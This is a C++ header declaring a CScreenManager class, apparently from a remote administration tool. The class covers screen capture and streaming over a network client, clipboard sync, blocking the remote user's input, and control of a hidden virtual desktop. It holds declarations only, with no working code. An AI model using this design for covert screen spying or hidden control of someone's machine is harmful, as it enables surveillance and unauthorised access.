67 lines
1.9 KiB
C++
67 lines
1.9 KiB
C++
// ScreenManager.h: interface for the CScreenManager class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
#if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
|
#define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_
|
|
|
|
#if _MSC_VER > 1000
|
|
#pragma once
|
|
#endif // _MSC_VER > 1000
|
|
|
|
#include "Manager.h"
|
|
#include "ScreenSpy.h"
|
|
#include "ScreenCapture.h"
|
|
|
|
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
|
|
|
|
bool IsWindows8orHigher();
|
|
|
|
class IOCPClient;
|
|
|
|
class CScreenManager : public CManager
|
|
{
|
|
public:
|
|
CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
|
virtual ~CScreenManager();
|
|
HANDLE m_hWorkThread;
|
|
|
|
void InitScreenSpy();
|
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
|
VOID SendBitMapInfo();
|
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
|
|
|
ScreenCapture* m_ScreenSpyObject;
|
|
VOID SendFirstScreen();
|
|
const char* GetNextScreen(ULONG &ulNextSendLength);
|
|
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
|
|
|
|
VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
|
|
INT_PTR m_ptrUser;
|
|
HDESK g_hDesk;
|
|
std::string m_DesktopID;
|
|
BOOL m_bIsWorking;
|
|
BOOL m_bIsBlockInput;
|
|
VOID SendClientClipboard();
|
|
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
|
|
|
std::string m_hash;
|
|
std::string m_hmac;
|
|
CONNECT_ADDRESS *m_conn = nullptr;
|
|
void SetConnection(CONNECT_ADDRESS* conn)
|
|
{
|
|
m_conn = conn;
|
|
}
|
|
// 虚拟桌面
|
|
POINT m_point;
|
|
POINT m_lastPoint;
|
|
BOOL m_lmouseDown;
|
|
HWND m_hResMoveWindow;
|
|
LRESULT m_resMoveType;
|
|
BOOL m_rmouseDown; // 标记右键是否按下
|
|
POINT m_rclickPoint; // 右键点击坐标
|
|
HWND m_rclickWnd; // 右键窗口
|
|
};
|
|
|
|
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|